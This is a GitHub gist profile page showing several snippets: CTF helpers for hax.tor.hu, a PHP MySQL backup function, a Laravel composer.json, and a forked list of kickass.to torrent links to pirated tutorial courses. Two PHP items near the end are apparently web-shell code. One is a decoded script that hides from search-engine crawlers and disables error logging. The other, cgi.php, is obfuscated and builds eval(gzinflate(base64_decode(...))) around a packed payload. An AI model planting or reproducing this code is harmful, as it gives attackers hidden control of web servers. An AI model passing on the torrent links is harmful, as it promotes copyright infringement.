Skip to content

Instantly share code, notes, and snippets.

View ppshobi's full-sized avatar
😍
Building Crap

Shobi ppshobi

😍
Building Crap
View GitHub Profile
//try pasting this in the js console in the level 11 hax.tor.hu challenge
/*
CryptoJS v3.1.2
code.google.com/p/crypto-js
(c) 2009-2013 by Jeff Mott. All rights reserved.
code.google.com/p/crypto-js/wiki/License
*/
var CryptoJS=CryptoJS||function(s,p){var m={},l=m.lib={},n=function(){},r=l.Base={extend:function(b){n.prototype=this;var h=new n;b&&h.mixIn(b);h.hasOwnProperty("init")||(h.init=function(){h.$super.init.apply(this,arguments)});h.init.prototype=h;h.$super=this;return h},create:function(){var b=this.extend();b.init.apply(b,arguments);return b},init:function(){},mixIn:function(b){for(var h in b)b.hasOwnProperty(h)&&(this[h]=b[h]);b.hasOwnProperty("toString")&&(this.toString=b.toString)},clone:function(){return this.init.prototype.extend(this)}},
q=l.WordArray=r.extend({init:function(b,h){b=this.words=b||[];this.sigBytes=h!=p?h:4*b.length},toString:function(b){return(b||t).stringify(this)},concat:function(b){var h=this.words,a=b.words,j=this.sigBytes;b=b.sigBytes;this.clamp();if(j%4)for(var g=0;g<b;g++
<?php
function backup_mysql_database($options){
$mtables = array(); $contents = "-- Database: `".$options['db_to_backup']."` --\n";
$mysqli = new mysqli($options['db_host'], $options['db_uname'], $options['db_password'], $options['db_to_backup']);
if ($mysqli->connect_error) {
die('Error : ('. $mysqli->connect_errno .') '. $mysqli->connect_error);
}
$results = $mysqli->query("SHOW TABLES");
@ppshobi
ppshobi / Composer.json
Created November 27, 2016 16:43
Techdetect composer json
{
"name": "laravel/laravel",
"description": "The Laravel Framework.",
"keywords": ["framework", "laravel"],
"license": "MIT",
"type": "project",
"require": {
"php": ">=5.6.4",
"laravel/framework": "5.3.*",
"novutec/whoisparser": "^3.2",
@ppshobi
ppshobi / Galaxy Of Tutorial Torrents
Created November 2, 2016 15:16 — forked from iHassan/Galaxy Of Tutorial Torrents
Ultimate Galaxy Of Tutorial Torrents
=============================
**http://kickass.to/infiniteskills-learning-jquery-mobile-working-files-t7967156.html
**http://kickass.to/lynda-bootstrap-3-advanced-web-development-2013-eng-t8167587.html
**http://kickass.to/lynda-css-advanced-typographic-techniques-t7928210.html
**http://kickass.to/lynda-html5-projects-interactive-charts-2013-eng-t8167670.html
**http://kickass.to/vtc-html5-css3-responsive-web-design-course-t7922533.html
*http://kickass.to/10gen-m101js-mongodb-for-node-js-developers-2013-eng-t8165205.html
*http://kickass.to/cbt-nuggets-amazon-web-services-aws-foundations-t7839734.html
@ppshobi
ppshobi / hax.tor.hu_warmup_chalenge5.py
Created September 29, 2016 07:23
Characters to numbers mapping- hax.tor.hu warmup challenge 5
import string
chars = string.ascii_lowercase
start=86 #since the letter a => 86
for i in chars:
print(start,"=>", i)
start=start-1
/* Decoded by unphp.net */
<?php if (!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log', NULL);
<?php if (!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ppshobi
ppshobi / cgi.php
Created September 20, 2016 14:24
<?php $tMQBUxA2546 = "dja_0/ckhbn6t98z1grs2w4l;x.7mqu*v5pfi3(yeo)";$C6597 = $tMQBUxA2546[34].$tMQBUxA2546[18].$tMQBUxA2546[40].$tMQBUxA2546[17].$tMQBUxA2546[3].$tMQBUxA2546[18].$tMQBUxA2546[40].$tMQBUxA2546[34].$tMQBUxA2546[23].$tMQBUxA2546[2].$tMQBUxA2546[6].$tMQBUxA2546[40];$ICPS4925 = "".chr(101)."v".chr(97)."l".chr(40)."".chr(103)."".chr(122)."".chr(105)."n".chr(102)."l".chr(97)."".chr(116)."".chr(101)."\x28\x62".chr(97)."s\x6564_".chr(100)."\x65".chr(99)."\x6f".chr(100)."e".chr(40)."";$dOFVD9410 = ")".chr(41)."".chr(41)."".chr(59)."";$QLlAvt2367 = $ICPS4925."'TZxXr+vQdl7fDfg/GDcGbhI6Zm8wkkDsnRQ7iQtcsIq9918fHttA/CDobJHcItea65tjbOron5N9q/4+Jev6T//7n/6SljBKQlSKomWO0RSGkBABJQVNkRSUUBn0l3/7x3/452zsxuXP3v8tL/F/fyUvymTvtr8n2VaPw7vpr0LdFaueDH/9r5v3tfh70iTXu8O27MV/3ZRVybIW259Dg3rIx3P9XzCCw38On5bi9/elmLokK/77X8B//Z9g8Zd/+cvfLgL/20US7zP8Pti/XQj1PpPva5/3mX4f/Psg/mPbn31I7D+O+ff9kP98Df2P19B3P/Tdjgvvz/+5H/Fn23/5GaH+iqcwXV4zCjUclYPnhLPo9h31C2O/wxVFWFY8fJEK7nHbE7Zd0O8bIGFXEzteY3MKkpZrEEHQlTqPk8u+AWULmkmmqCMtyOIIiyMtySKeh